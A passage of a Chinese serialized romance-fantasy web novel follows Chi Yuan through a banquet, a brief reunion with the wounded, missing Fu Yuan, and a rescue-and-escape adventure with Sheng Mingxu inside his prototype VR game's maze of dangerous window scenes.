气 聚光灯渐次熄灭的后台,空气里还浮动着脂粉与松香混杂的气息。 池鸢刚准备离开,便听见身后传来细高跟叩击地面的声响。 冯宛裹着貂绒披肩倚在门框,猩红甲油点着手机屏幕:今晚的庆功宴,你一起来? 水晶吊灯将三楼会场切割成细碎的光斑,旋转楼梯垂落的缎带缠绕着香槟塔。 池鸢攥着骨瓷餐盘站在法式长窗前,远处CBD的霓虹穿透雕花玻璃,在她腕间折射出冷冽的光。 自助餐台上龙虾泛着琥珀色油光,芝士焗生蚝蒸腾的热气却暖不透空荡的座椅。 “盛总最近在海外项目?”冯宛端着冰酒款步而来,耳垂上的南洋珍珠晃碎一池光影。 她用银匙将鱼子酱抹在面包上,指尖的钻石戒指与餐具碰撞出清响,前阵子还见他亲自来探班呢。 池鸢搅动着冰美式,看方糖在漩涡里慢慢沉没。 落地窗外突然掠过直升机的探照灯,在宴会厅穹顶投下转瞬即逝的阴影。 她望着自己映在玻璃窗上的倒影,恍惚想起三小时前谢幕时,观众席第七排那个本该坐着盛明栩的空位。 冯宛指尖摩挲着香槟杯壁,凝着池鸢的目光像裹着蜜的刺:我还以为你们很熟。 冰块在酒液里沉浮,折射出她眼尾若有似无的笑意。 很熟吗?池鸢垂眸搅动吸管,美式咖啡泛起细密涟漪。 中央空调送来的风掠过锁骨,冯宛突然想起某次深夜对戏,盛明栩替她裹紧戏服时掌心的温度。那些并肩研读剧本的晨昏,此刻都碎成杯底沉淀的苦涩。 水晶吊灯突然暗了一瞬,应急灯的幽绿里,冯宛的笑容变得诡谲。 望着窗外暴雨冲刷的霓虹,突然意识到命运早就在某个分岔路口按下暂停键——当盛明栩西装口袋里的机票露出来时,当她撕碎那份海外演出邀约时,两条本该缠绕的轨迹,早已朝着相反的银河奔涌而去。 水晶杯沿沾着冯宛艳红的唇印,她仰头饮尽香槟时,喉结在天鹅颈下轻轻滚动。 微醺的笑意还挂在眼角,突然被酸涩呛得眼眶发红。 池鸢看着她跌进未婚夫敞开的怀抱,男人掌心温柔地覆上她后颈,西装袖口滑落的婚戒在灯光下泛着冷光。 宴会厅穹顶的烛火明明灭灭,池鸢攥紧手包,指甲在软皮上掐出月牙形凹痕。 香槟塔折射的光斑落在她睫毛上,恍惚间竟与傅渊书房里摇晃的烛影重叠。那些深夜里的长谈,他俯身替她披衣时发梢掠过她耳畔的触感,此刻都化作心口细密的疼。 十点的钟声穿透人声鼎沸,冯宛握着话筒的指节发白。 她望着台下举着灯牌欢呼的粉丝,望着鬓角微霜却依旧目光炽热的导演,将所有感激都融进鞠躬时倾泻的长发里。 转身时撞进未婚夫湿润的眼眶,两人相拥的瞬间,池鸢看到她腰肢不再纤细的弧度——曾经骄纵的小公主,在岁月里生出了温柔而坚韧的茧。 下次见面,我要听你说幸福的故事。冯宛攥着她的手腕不肯松开,指间的钻戒硌得池鸢生疼。 池鸢骤然松开的指尖还残留着冯宛腕间的凉意,水晶吊灯在她瞳孔里碎成星子:你这话什么意思? 冯宛将香槟杯重重搁在鎏金圆几上,冰水珠蜿蜒而下,在绒布台面上洇出深色痕迹。 “傅渊的失踪,怎么还是没个音讯?”她扯了扯歪斜的珍珠项链,冷笑像淬了毒的刀刃,“当年咱们三个形影不离,要不是你突然闯进......” 窗外闷雷碾过云层,池鸢望着玻璃倒影里扭曲的三人合影——那时冯宛还扎着双马尾,傅渊总把篮球往她怀里塞。此刻照片里的笑脸与眼前红着眼的冯宛重叠,那些在天台分食的橘子汽水、暴雨夜共撑的伞,终究被时光熬成了带刺的藤蔓。 夜风卷着露台的玫瑰香涌进来,池鸢望着冯宛被未婚夫揽进怀里的背影,忽然明白所谓成长,大抵就是在见证他人圆满时,也能坦然拥抱属于自己的漫长等待。 第187章 跄 霓虹在车窗上晕染成破碎的光斑,池鸢倚着后排座椅,指尖无意识摩挲着红酒杯残留的纹路。 代驾平稳驶过跨海大桥时,她盯着江面倒映的璀璨灯火,恍惚觉得那些闪烁的光点像极了晚宴上宾客虚情假意的笑。 电梯上升时耳膜微微发胀,十八层的数字在幽蓝背光中跳动,如同倒计时般割裂着她紧绷的神经。 鎏金雕花的水晶灯将电梯厅切割成明暗交错的菱形,池鸢攥着包链的指节泛白。 高跟鞋敲击大理石的声响在寂静楼道里格外突兀,她数着墙上暗纹壁纸的藤蔓图案,试图用机械的计数驱散酒意带来的眩晕。 密码锁键盘亮起冷光,颤抖的指尖第三次才准确按下数字,金属锁舌弹开的瞬间,某种不属于这里的气息扑面而来——像是雪松混着硝烟的陌生香调,混在她惯用的蓝风铃香薰里,诡异地违和着。 玄关处摆放整齐的黑色皮鞋刺得她瞳孔骤缩,那不是她的米色穆勒鞋。 夜风突然掀起纱帘,月光斜斜切过客厅,在波斯地毯上投下一道锋利的银边。 池鸢轻手放下包,指甲悄悄掐进掌心保持清醒,经年累月在商界厮杀的本能让她瞬间冷静。 黑暗中,某个角落传来布料摩擦的细微声响,她喉间泛起苦涩的酒气,却在转身时扬起职业性的冷笑:“这位先生,撬锁技术该更新换代了。” 落地窗外的月光突然被云层遮蔽,池鸢摸到玄关处的开关,冷白色的顶灯骤然亮起。 阴影中的轮廓缓缓舒展,当看清来人那张棱角分明的脸时,她后退半步撞翻了伞架,金属骨架倒地的声响惊得两人同时一颤。 傅渊,怎么是你?!池鸢的声音比预想中颤抖得更厉害。 眼前的男人与记忆里判若两人——高定西装沾满暗红污渍,像是干涸的血迹混着泥点,领带歪斜地挂在颈间,原本锐利的眉眼凹陷下去,颧骨突兀地撑着苍白皮肤,唯有那双琥珀色瞳孔还带着熟悉的压迫感。 傅渊撑着沙发扶手起身,关节发出细微的脆响。 他扯了扯皱巴巴的衣领,喉结滚动着发出沙哑的笑:本来是不打算来这的,但是碰巧经过,就上来打个招呼。 话音未落,池鸢已经跌进带着硝烟味的怀抱。男人的手臂硌得她肋骨生疼,隔着残破的西装布料,她摸到了绷带缠绕的凸起。 空气凝滞了足有半分钟,池鸢将脸埋在对方肩窝,突然闻到若有似无的消毒水味道。 她抬手想触碰对方凹陷的脸颊,却被傅渊偏头避开。“我要走了。” 他松开手臂的瞬间,池鸢抓住他袖口沾血的布料,指甲深深掐进那片暗红:“走?走去哪?” 男人低头望着她泛白的指节,嘴角扬起自嘲的弧度。客厅的座钟突然敲响,在寂静中震得人心慌。 不知道。他轻声说,像是在回答她,又像是在对自己确认,也许是该去的地方。 窗外的雨不知何时下了起来,淅淅沥沥打在玻璃上,将两人的倒影冲刷得支离破碎。 空气里还残留着紧张交锋后的凝滞,池鸢转身时故意放缓脚步,高跟鞋叩击地面的声响在寂静中显得格外清晰。 她垂眸避开傅渊的目光,指尖抚过衣柜里沉睡已久的男装区,灰蓝条纹衬衫的褶皱里似乎还留着往昔的温度。 抽屉拉开时发出轻微的吱呀声,纯棉睡衣柔软的触感从掌心传来,池鸢恍惚想起傅渊最讨厌这种宽松版型,总说像被裹进了云朵里。 喉间泛起酸涩,她将叠得整齐的衣物放在沙发扶手上,余光瞥见傅渊正盯着机票碎屑出神,修长手指捏起一片残角。 她转身去厨房烧热水时,听见身后传来衣料摩擦的窸窣声。 玻璃水壶撞在电磁炉上发出轻响,蒸腾的热气模糊了视线,池鸢盯着水面泛起的涟漪。 池鸢正将红糖姜茶放在茶几上。 氤氲的热气中,男人目光扫过她泛红的眼眶,忽然轻笑出声:这身衣服,倒是像量身定做。他端起茶杯轻抿,琥珀色液体在杯壁留下深色痕迹,不过鸢鸢的手艺退步了,姜放多了。 送走傅渊时,身后突然响起的声音惊得她脊背绷紧。 转身时,盛明栩倚着门框,银灰色西装勾勒出笔挺身形,腕表表盘折射的冷光恰好打在他似笑非笑的嘴角。 你怎么哭了,刚刚谁和你说话。男人修长的手指摩挲着镀金门把手,尾音带着漫不经心的压迫感。 池鸢盯着他腕间新换的檀木手串,那是上个月拍卖会上被神秘买家夺走的藏品。喉结滚动间,她摸到口袋里傅渊留下的带血丝巾,冰凉的触感让指尖微微发颤。 水晶吊灯突然被风吹得轻晃,在盛明栩脸上投下明暗交错的阴影。 池鸢强迫自己露出职业化的浅笑,发梢还沾着未干的泪痕:可能是酒喝多了。她刻意放软语调。 两人走进电梯,紧张氛围袭来。 开门时,男人缓步逼近,雪松香水混着烟草味扑面而来。池鸢后退时撞翻了边几上的香薰蜡烛,蜡油泼在她脚踝,烫得她踉跄了一下。 盛明栩眼疾手快扶住她的腰,指尖隔着真丝睡裙传来灼热温度:你在骗人。 第188章 邀 暮色顺着窗户爬进阳台时,池鸢指尖攥着包带,骨节泛白得几乎透明。 她刻意提高声调,试图掩盖尾音的颤抖:冯宛的表演你没去看,她问起我你的去向了。垂落的发丝挡住了她不自然的表情,余光却悄悄打量着对面男人的反应。 盛明栩倚在门廊的铜制壁灯下,暖黄光晕将他的轮廓镀上一层柔和的虚影。 他垂眸望着池鸢紧抿的嘴角,喉结微动:你刚才看到什么了? 话音未落,池鸢的睫毛剧烈颤动了一下,这个细微的反应让他心底警铃大作——显然,她刻意回避的事情远比冯宛的演出重要得多。 沉默在两人之间蔓延,盛明栩突然转身,修长的手指在密码锁上快速敲击。 电子屏幽蓝的光映出他紧绷的下颌线,密码数字被掌心严严实实遮挡。 当门锁发出咔嗒轻响时,池鸢望着那扇缓缓闭合的栗色木门,突然意识到他们之间不知何时竖起了无形的屏障。 楼道感应灯熄灭,回到家中,客厅里还弥漫着淡淡的白茶香,茶几上那杯未动的茶水已经凉透,水面浮着几片蜷缩的茶叶,像极了傅渊离去时仓促的背影。 青瓷杯沿凝结的水珠顺着杯壁蜿蜒而下,在木质桌面上晕开深色水痕,她无意识地用指尖摩挲着杯身残留的温度。 想起傅渊离去前骤然收紧的眉峰,连外套都没来得及扣好就冲出门的样子。 池鸢凝视着茶几上放着的一张便签,那是傅渊匆忙间留下的字迹,潦草的勿念二字被水痕晕染得有些模糊。 她轻轻叹了口气,将便签折好放进钱包——至少,知道他平安,悬在心头的那块大石总算落了地。 第二日照例上班,玻璃幕墙外飘着细碎的花瓣,池鸢缩在格子间里整理客户资料,指腹在何璃标注的重点处反复摩挲。 看着何璃裹着纱布的半张脸,池鸢总有些不适,此刻何璃正从斜对角探过来:“鸢鸢,17楼会议室的投影仪又坏了,能帮我看看吗?” 消毒水味混着玫瑰护手霜的气息扑面而来,池鸢望着同事缠着绷带的侧脸,忽然想起早会上主管拍着何璃肩膀说“轻伤不下火线”时,对方藏在纱布下的嘴角扬起的得意弧度。 她接过设备检修单时,指尖触到对方冰凉的指尖——何璃涂着昂贵的甲油。 代访的第一家客户就碰了钉子。中年男人把咖啡杯重重砸在会议桌上,溅出的褐色液体在池鸢精心准备的企划书上洇开:“小何怎么没来?她答应过今天带新品样品!” 中央空调嗡嗡作响,池鸢攥着湿透的纸巾反复擦拭文件,睫毛上沾着不知是汗还是空调水汽凝成的水珠。直到她掏出手机播放何璃提前录制的问候语音,对方才勉强松口。 深夜十点的写字楼依旧灯火通明,池鸢揉着发酸的手腕走出电梯,撞见抱着礼盒的何璃正站在她工位前。 鎏金烫印的礼盒在冷白光下泛着温润光泽,印着她总在商场橱窗前驻足却从未舍得踏入的法式甜点店LOGO。 “这次多亏你啦!”何璃晃了晃礼盒,纱布缝隙里露出的眼睛弯成月牙,“栗子蒙布朗特意留了最上面的金箔装饰哦。” 池鸢指尖刚触到丝绒盒盖,手机突然震动。 傅家老太太打来的电话,是座机。 她慌忙锁屏时,礼盒里飘出的焦糖香气突然变得苦涩,像极了她藏在心底,永远不敢戳破的那个秘密。 暮色漫过写字楼落地窗时,池鸢的手机在桌面震出细微的嗡鸣。 傅家管家发来的消息简明扼要,但和电话里吩咐的事情大差不离:「本周五晚七点,云顶阁,老夫人邀您共进家宴。」 青瓷茶杯里的茉莉花突然剧烈摇晃,茶水在杯壁上划出蜿蜒的水痕,倒映着她骤然失色的脸。 云顶阁向来是傅家宴请贵客的场所。 回了公寓,池鸢对着衣柜里寥寥几件得体的连衣裙出神,指尖无意识摩挲着袖口的线头——之前初入傅家时,老夫人赠她的珍珠胸针还锁在首饰盒底层,此刻却像块烧红的烙铁,烫得她眼眶发疼。 傅渊失踪后仍未取消的邀约。 池鸢倚着窗台数楼下往来的车灯,想起半月前在书房撞见傅渊销毁的那份股权转让书,这场看似如常的家宴,或许正是傅家无声的审判席。 镜前试衣时,珍珠项链在锁骨处硌得生疼。 第189章 识 池鸢将真丝连衣裙换成鹅黄色针织衫,刚拉开门,一股焦糊味便裹挟着电流的酸涩直窜鼻腔。 走廊顶灯在烟雾里晕成朦胧的光圈,她蹙着眉循味望去,发现异味正从斜对面307室的门缝里源源不断渗出来——那是盛明栩的房间。 叩叩叩,黄铜门环在指节下发出清响。 随着磁吸门锁咔嗒弹开,灰白色烟雾裹着刺鼻的电子元件烧焦味扑面而来。 盛明栩倚在玄关处,黑色衬衫的领口歪斜地敞着,额发被冷汗浸得微湿,手里攥着半杯融化的威士忌。 在煮黑暗料理?池鸢掩着口鼻打趣,目光越过他肩头,看见客厅地毯上瘫着几台冒青烟的笔记本电脑。 主板焦黑的裂痕像蛛网般蔓延,USB接口还在滋滋冒着火星,空气里漂浮的细小颗粒在灯光下闪烁,恍若微型星群。 “是游戏引擎过载。”盛明栩灌下最后一口酒,喉结在泛着冷光的玻璃杯中沉浮,“刚做的压力测试,十台设备并联运算还是崩了。” 他转身时带起一阵风,池鸢瞥见茶几上散落的芯片残骸,那些精密的电路板如同被战火摧毁的城邦,狼藉中仍残留着某种未竟的疯狂。 什么游戏需要这么大阵仗?池鸢踢开脚边报废的固态硬盘,金属外壳烫得惊人。 窗外的霓虹透过蒙尘的落地窗,在盛明栩棱角分明的侧脸上投下交错的光影,男人眼底跳动的炽热让她想起公司年会上,那位站在聚光灯下描绘商业版图的年轻总裁。 “能颠覆整个行业的存在。”盛明栩忽然逼近,威士忌混着雪松香水的气息将她笼罩。 他指尖轻点着墙面投影,破碎的代码瀑布中,隐约浮现出漂浮着机械岛屿的异星地貌,“等研发成功,我会成为元宇宙生态链的开拓者。” 池鸢仰头望着这个总爱用漫不经心掩饰野心的男人,忽然觉得此刻西装褶皱、眼神炽热的盛明栩,比董事会上那个运筹帷幄的CEO更鲜活真实。 她伸手抚平他翘起的衣领,笑道:那我可得抱紧未来先驱的大腿,说不定还能混个首席体验官当当? 窗外的城市夜景在玻璃上流转,倒映着两个身影渐渐靠近的轮廓。烧焦的电子元件仍在散发余温,却比不过空气中悄然升温的某种情愫。 池鸢刷着手机里最新的娱乐头条,某八卦周刊又拍到盛明栩深夜出入私人会所的照片,身旁环绕着数位网红模特。 镁光灯下的他西装革履,嘴角挂着玩世不恭的笑,与绯闻女星举止亲昵,俨然一副纨绔子弟模样。 可谁能想到,这个整日被花边新闻缠身的男人,竟在秘密研发颠覆行业的VR游戏? 她不禁好奇,看似沉迷声色犬马的盛明栩,究竟有着怎样的过往。 大学时期的他,到底学的是什么专业?是计算机科学与技术,早就为如今的技术研发打下基础?还是电子信息工程,深谙硬件与软件的协同之道?亦或是跨学科的设计专业,将艺术与科技完美融合?那些隐藏在花边新闻背后的真实面貌。 池鸢盯着他骨节分明的手将青瓷盘重重搁在茶几上,釉面溅起的水珠在琥珀色话梅间凝成细小涟漪。 盛明栩转身时带起的衣角扫过她膝头,薄荷混着硝烟的气息还没散尽,人已经消失在虚掩的卧室门后,门框晃动时震落的墙灰簌簌落在果盘里。 “果然还是一点就着的性子。”她拈起颗裹着糖霜的梅子,酸甜在舌尖炸开的瞬间。 此刻门后传来螺丝刀与金属机箱碰撞的清脆声响,池鸢望着满地狼藉的电子元件,忽然觉得这暴躁表象下,或许藏着比任何人都炽热的偏执。 琥珀色的糖霜在灯光下泛着蜜色光泽,池鸢又含了颗话梅在嘴里,酸甜滋味裹着若有似无的陈皮香气,连核都打磨得温润如玉,确实不是超市货架上能买到的寻常货色。 她无意识摩挲着青瓷盘上缠枝莲纹,冷不防指尖一滑,话梅骨碌碌滚落在地毯上。 弯腰的瞬间,鎏金吊灯的光线穿透沙发底部的阴影,照见个半隐在尘埃里的游戏手柄。 哑光黑的外壳上泛着金属光泽,十字键边缘缠着褪色的蓝白胶布,摇杆顶端还留着月牙形的齿痕——这个磨损痕迹。 池鸢感觉心跳漏了半拍,指尖悬在手柄上方迟迟不敢触碰。 记忆突然翻涌。 此刻盛明栩暴躁摔门的动静还在耳畔回响,可那个与手柄共同存在的画面,似曾相识。 第190章 窗 等池鸢从沙发底下翻出手柄的时候,头顶突然被一片阴影笼罩。 她维持着左手撑地、右膝跪坐的扭曲姿势,后颈的碎发还黏着灰尘,仰头就撞进盛明栩深褐色的瞳孔里。 男人的运动T恤沾满机箱散热孔溢出的灰絮,脖颈处滚落的汗珠正沿着喉结往下滑,在胸口晕开深色痕迹。 找这个?盛明栩弯腰递来另一只手柄,腕骨擦过她发梢时带起细微的静电。 池鸢盯着他肩头蹭到的机油印,突然笑出声——半小时前还在信誓旦旦描绘VR帝国蓝图的创业家,此刻活像刚从废品回收站爬出来的维修工。 窗外暮色渐浓,映得客厅里未完成组装的VR设备泛着冷光。 盛明栩顺着她的视线回头,金属支架上的螺丝还歪歪扭扭拧着,调试失败的代码在投影幕布上不停闪烁。 他抹了把脸,指尖在脸颊留下道灰痕:市场调研说沉浸式体验是风口... 可人们连弯腰捡手柄都嫌麻烦。池鸢翻身坐起,随手扯过沙发上的毛毯拍灰。 她注意到男人耳尖泛红,不知是累的还是羞的。 “呵...呵呵……”池鸢垂眸掩住唇角的笑意,睫毛在眼下投出细碎的阴影。 她正想调侃盛明栩的“声控手柄”异想天开,指尖却无意识地按下了手柄侧边的红色按键。 刹那间,刺目的白光骤然充斥整个视野,紧接着,黑暗如潮水般将两人吞没。 电流般的酥麻感从掌心的手柄蔓延至全身,池鸢踉跄着后退半步,后腰撞上盛明栩的胸膛。 男人温热的呼吸扫过她耳际,带着一丝不易察觉的紧张:“怎么回事?”话音未落,四周的空气泛起涟漪,光影扭曲重组,待视觉重新清晰,他们已置身于一间诡谲的房间。 三百六十度环绕的墙面密密麻麻排列着形态各异的窗户,每扇窗都透着不同色调的幽光,有的流淌着暗红如血的光晕,有的泛着诡异的幽蓝,玻璃上还凝结着细密的水珠,顺着纹路蜿蜒滑落,在地面汇成细小的溪流。 潮湿的霉味混着铁锈气息扑面而来,墙角处藤蔓肆意生长,缠绕在窗框之上,时不时传来窸窸窣的声响,仿佛有什么东西藏在暗处窥视着他们。 “欢迎来到‘百窗迷城’。” 机械合成的电子音突兀响起,惊得池鸢浑身一颤。 盛明栩迅速挡在她身前,警惕地扫视四周。声音继续说道:“想要离开这里,唯有通过场景一的通关机制——翻越所有窗户,抵达最终出口。友情提示,每扇窗户背后,都藏着意想不到的惊喜。” 池鸢盯着最近的一扇窗户,窗棂上布满裂痕,透出外面呼啸的狂风。 她无奈地晃了晃手中的手柄:“看来是误触了隐藏关卡。” 盛明栩却露出跃跃欲试的笑容,活动了下手腕:“正好检验下设备的真实触感。”说着,他已经利落地爬上窗台,木质窗框发出不堪重负的吱呀声。 池鸢咬咬牙跟上,当她的手掌贴上冰凉的玻璃时,一股寒意顺着指尖窜入骨髓。 窗外并非想象中的虚空,而是一片迷雾缭绕的森林,树木扭曲变形,枝干如同枯骨般交错。盛明栩伸手拉她,两人一同翻进这片未知的领域。 接连翻越了三扇窗户,池鸢的后背已经被冷汗浸透。 每扇窗户后的场景都截然不同,有满是食人花的沼泽,有漂浮着破碎建筑的天空之城,还有被巨型蜘蛛盘踞的地下洞穴。而他们必须小心翼翼地躲避危险,寻找通往下一扇窗户的线索。 “这样下去不是办法。”在一片布满毒雾的沼泽地,盛明栩扯下衬衫一角捂住口鼻,“肯定有规律,这些场景之间一定有联系。”池鸢盯着脚下不断冒泡的沼泽,突然发现水面倒影中,自己的身影竟多出了一双猩红的眼睛...... 池鸢的膝盖不受控制地微微颤抖,掌心被手柄硌出的红痕混着冷汗,黏腻得难受。 她死死攥住窗框边缘,望着脚下翻涌的毒雾,方才被巨型蜘蛛追着狂奔的心悸还未消退。那些飞溅到脖颈的毒液仿佛还带着刺痛,连呼吸都裹挟着令人作呕的腐臭气息。 我不玩了。她猛地转身,后背重重抵在冰凉的玻璃上,看着盛明栩蹲在另一扇窗前研究斑驳的墙绘,声音不自觉拔高,上次枪战差点被虚拟子弹吓得心脏病发作,这次又要爬一百扇窗户?谁知道下一扇会跳出什么怪物! 盛明栩手指顿了顿,转头时发梢还沾着沼泽地带出的枯叶。 他看着女孩泛白的脸色和微微发抖的肩膀,突然意识到自己沉迷测试新功能时,完全忽略了体验者的心理承受力。 有快速通道。他喉结滚动,耳尖泛起不自然的红,不过......我需要点时间想起来。 什么?!池鸢松开抱着的手臂,手柄几乎要甩出去,你开发的游戏,居然不知道怎么退出? 她盯着男人局促地挠头,突然想起刚才他在食人花群里护着自己时,后背被藤蔓划出的血痕——虽然是虚拟伤口,但当时他吃痛的表情太过真实。 潮湿的空气里,电子音效突然发出刺耳的警报,墙面开始渗出黑色黏液。 盛明栩脸色骤变:糟糕,触发隐藏惩罚机制了!他冲过来拽住池鸢手腕,冰凉的触感让她心头一颤,跟着我跑!通道线索应该在第三扇窗户的星空壁画里! 第191章 通 暮色裹挟着蝉鸣渗入窗棂时,池鸢的指尖已被盛明栩攥出了细汗。 三扇窗那扇雕花铜锁后的世界,在少年掌心温度的传导下变得愈发神秘。 当锈迹斑斑的窗轴发出吱呀轻响,氤氲的星辉便如倾泻的银河,刹那间漫过两人交叠的影子。 整片穹顶悬浮着数以万计的星辰,每一颗都被抹上了流动的萤蓝,在紫水晶般的天幕下闪烁着幽微光芒。 悬浮的星云像被揉碎的晚霞,粉紫色的光晕在穹顶流转,将墙壁上缠绕的藤蔓投影拉得很长。 壁画底部是成片摇曳的铃兰花海,珍珠白的花瓣折射着星光,恍惚间竟似真有夜风拂过,带来若有若无的清甜气息。 “别看了。”盛明栩的声音混着急促喘息,指节因用力扣住窗框而泛白。 但池鸢早已挣脱他的手,踩着壁画中蜿蜒的星河小径向前。 她的帆布鞋碾过虚幻的银河,惊起细碎的星屑簌簌坠落,在脚踝处织就流动的光带。 头顶突然炸开一片流星群,靛紫色的尾焰拖曳着玫瑰色的光晕,将她眼底的惊叹染成梦幻的虹彩。 “你看!”她转身时发梢扬起星尘,浅杏色裙摆掠过铃兰花海,惊起几只由星光凝聚的蝴蝶。 少年逆光的剪影僵在原地,喉结滚动着没说出的劝阻——此刻的池鸢仿佛真的走进了壁画,发间缠绕着银河,裙角沾满星辉,比他见过的任何一幅画作都要鲜活。 穹顶深处传来琴弦断裂般的嗡鸣,原本静谧的星云突然翻涌如沸。 盛明栩拽着池鸢手腕向后疾退,腕骨硌得她生疼:快走!不然出不去...... 冰凉的指尖突然缠住他的掌心,池鸢仰头望着穹顶不断坠落的流星,睫毛上落满细碎星芒。 她声音像浸在蜜里的月光:我不想离开这里了。话音未落,最后一片星云轰然碎裂,幽蓝的星屑如雪崩般倾泻,却在触及她发梢时化作温柔的光点。 男人喉间溢出压抑的叹息,紧绷的脊背重重靠上剥落金箔的石壁。 他解下黑色西装外套铺在地面,看少女跪坐在星光里的背影,忽然想起初见她时,她也是这样目不转睛盯着美术馆的星空穹顶。 此刻穹顶残余的星光在她发间流淌,将两人交叠的影子拓印在斑驳的壁画上。 他摸向口袋的手空落落的,才想起戒烟已有半年。 心烦意乱间扯松领带,喉结随着吞咽上下滚动。那些没说出口的警告、悬在舌尖的催促,都在她转身扑进怀里的瞬间散成齑粉。 发间清甜的茉莉香混着星尘气息扑面而来,温热的呼吸拂过锁骨,心脏突然撞出不受控的节奏。 壁画深处传来悠远的回响,最后几颗星辰坠入她眼底,在交缠的呼吸间燃成跳动的火苗。 盛明栩听见自己沙哑的轻笑,指尖不自觉抚上她颤抖的脊背——或许,被困在这片永远浪漫的星河里,也不算太坏。 当最后一缕星辉消散在幽紫色的穹顶,池鸢的后背突然撞上冰冷的石壁。 原本敞开的雕花铜窗不知何时消失殆尽,取而代之的是一整面由百扇雕花窗棂组成的银灰色幕墙。 每扇窗户都泛着冷冽的金属光泽,窗格间流转着细碎的蓝光,宛如无数双窥视的眼睛。 快速通道没了。盛明栩的声音沉得像是坠着铅块,指腹无意识摩挲着西装内袋里的手机——那是他们与外界唯一的联系。 他看着少女骤然苍白的脸,喉结动了动,最终没说出口的是:电量还剩17%。 什么?池鸢踉跄着抓住他的衣袖,指甲几乎掐进他的皮肉,那怎么办,我们离不开这里了? 她的目光扫过密密麻麻的窗群,那些冰冷的金属雕花仿佛在不断重组,每一扇都通向未知的黑暗。 男人扯了扯松垮的领带,倚着墙面缓缓滑坐在地。他望着头顶流转的冷光,忽然轻笑出声:没事,把每扇窗都走一遍就好了。声音里带着破罐子破摔的洒脱,却掩不住眼底的焦虑。 那怎么可能。池鸢跌坐在他身侧,盯着最近的一扇窗——窗内浮动着幽绿的雾气,隐约传来齿轮转动的声响。她抱膝蜷缩,发顶蹭过他的肩头:走进去都不一定出的来。 盛明栩垂眸看着手机屏幕不断跳动的电量数字,突然把手机倒扣在膝盖上:“那就等电量耗尽吧。” 他的声音很轻,却惊得池鸢猛地抬头。 暮色在电量耗尽四个字里凝滞。 池鸢盯着男人侧脸的轮廓,忽然想起他说过这壁画系统一旦失去外接电源,就会强制重置所有空间。星光在她眼底重新亮起,某种滚烫的情绪顺着交叠的肩臂蔓延:原来所谓绝境,竟藏着这样的转机。 第192章 渊 潮湿的青苔在石砖缝隙里疯长,池鸢的帆布鞋已经被露水浸得发软。 她抓着盛明栩的袖口,跟着他翻过第七扇雕花窗时,膝盖重重磕在窗框上,疼得眼前炸开细密的金星。 暮色从云层缝隙里漏下来,在远处的山峦上洇开浓重的铅灰,像一幅被雨水晕染的水墨画。 歇会儿。她干脆瘫坐在冰凉的石板地上,后背抵着斑驳的粉墙。蝉鸣在闷热的空气里此起彼伏,混着不知从哪飘来的霉味,让呼吸都变得滞涩。 如果能等到停电,就能顺着应急通道出去了吧?她望着天边逐渐聚拢的乌云,心里燃起一丝侥幸。 想起半小时前那扇悬在悬崖边的观景窗,至今仍心有余悸。 透明的强化玻璃下方是深不见底的峡谷,山风卷着雾气从脚底掠过,仿佛下一秒就要将人卷入云海。 她攥着防护栏的手指节发白,盛明栩却像只灵巧的猫,三两步就跨到对面平台,转身朝她伸出手时,袖口滑落露出腕间狰狞的旧疤。 起来。盛明栩的皮鞋突然擦过她发顶,带起几缕碎发。池鸢猛地抬头,正对上男人琥珀色的眼睛,在暮色里泛着冷冽的光。 我是真的走不动了。她扯住他的裤脚,指尖沾了灰扑扑的泥渍。膝盖的刺痛提醒着连续翻越七扇窗的代价,小腿肌肉酸胀得几乎要抽筋。 盛明栩单手插兜,修长的手指虚点前方:“如果没记错,那扇朱漆窗后面是醉仙楼。” 他的声音带着蛊惑般的低哑,听说他们的桂花酿,用的是千年古桂。 池鸢顺着他的指向望去,远处雕花木窗透出暖黄的光晕,随风飘来若有似无的酒香。 她眯起眼睛打量,窗棂上垂落的红灯笼在风中摇晃,真像是古装剧里才会出现的酒家。“哪有这么巧的事?” 她嘀咕着,却已经被盛明栩拉着站起,掌心传来的温度烫得惊人。 木窗推开的刹那,温热的酒气裹挟着琵琶弦音扑面而来。 池鸢被呛得轻咳两声,待看清屋内景象,却惊得忘了疼痛——雕梁画栋间垂着鎏金宫灯,穿着襦裙的侍女正托着青瓷酒盏穿梭席间,二楼栏杆处,怀抱琵琶的女子朱唇轻启,唱的竟是失传已久的古调。 “欢迎贵客。”掌柜的从柜台后转出,青衫上绣着暗纹云鹤,笑容却透着几分诡异,“正巧最后一桌空位,二位可要尝尝新酿的女儿红?” 盛明栩按住池鸢欲言又止的嘴,指尖残留的硝烟味混着酒香钻入鼻腔:“来两坛桂花酿,切两斤牛肉。”他说话时,目光始终盯着墙上悬挂的阴阳鱼图腾,那图腾竟在烛光下泛着幽蓝。 池鸢刚要落座,裙摆却被什么东西勾住。低头一看,竟是从地砖缝隙里伸出的青铜锁链,链上刻满她看不懂的符文。当她试图挣脱时,锁链突然收紧,勒得脚踝生疼。 盛明栩立刻按住她的肩膀,指腹轻轻摩挲她颈后:“别动,这些是镇魂锁。” 琵琶声陡然拔高,池鸢顺着声音望去,弹琴女子不知何时已移到他们桌前。 对方眼角点着朱砂痣,笑起来却让人脊背发凉:“客官可知,醉仙楼百年才开一次门?” 话音未落,女子周身诡雾翻涌,琵琶弦骤然绷断化作寒光四射的银刃,整个人如离弦之箭般朝着池鸢面门疾射而来。 池鸢本能地后仰躲避。 千钧一发之际,盛明栩身形如鬼魅般掠至身前。 他足尖点地借力腾空,黑色风衣在空中划出凌厉弧度,右腿裹挟着劲风横扫而出。 女子挥臂格挡,银刃与他的皮靴相撞迸出火星,两人借着反震之力各自倒飞出去。 酒楼内的空气瞬间凝固,食客们齐刷刷转头。 盛明栩余光瞥见池鸢被锁链勒得面色发白,手腕已磨出血痕,当即旋身甩出腰间的战术匕首。 寒光闪过,锁链应声而断。 池鸢踉跄着跌进盛明栩怀里,男人扣住她的手腕就往窗边冲。身后传来掌柜癫狂的大笑:“进了醉仙楼,哪有那么容易走!”无数道符咒从墙面剥离,化作猩红锁链缠住两人去路。 盛明栩猛地将池鸢护在身后,掏出怀中自制的烟雾弹掷出。 白雾弥漫的刹那,他扯下衬衫布条缠住她受伤的脚踝,贴着她耳畔低声道:“数到三,闭气。” 不等池鸢反应,他已揽住她的腰撞碎雕花窗,进入弥漫着雾气的深渊。 第193章 游 云雾如棉絮般缠绕在峭壁之间,盛明栩抬手拂去镜片上的薄雾,金属边框在月光下泛着冷冽的光。 两千米深的峡谷在探照灯的光晕里若隐若现,崖底传来的风声裹挟着碎石滚落的声响,像是巨兽喉咙里发出的低吼。 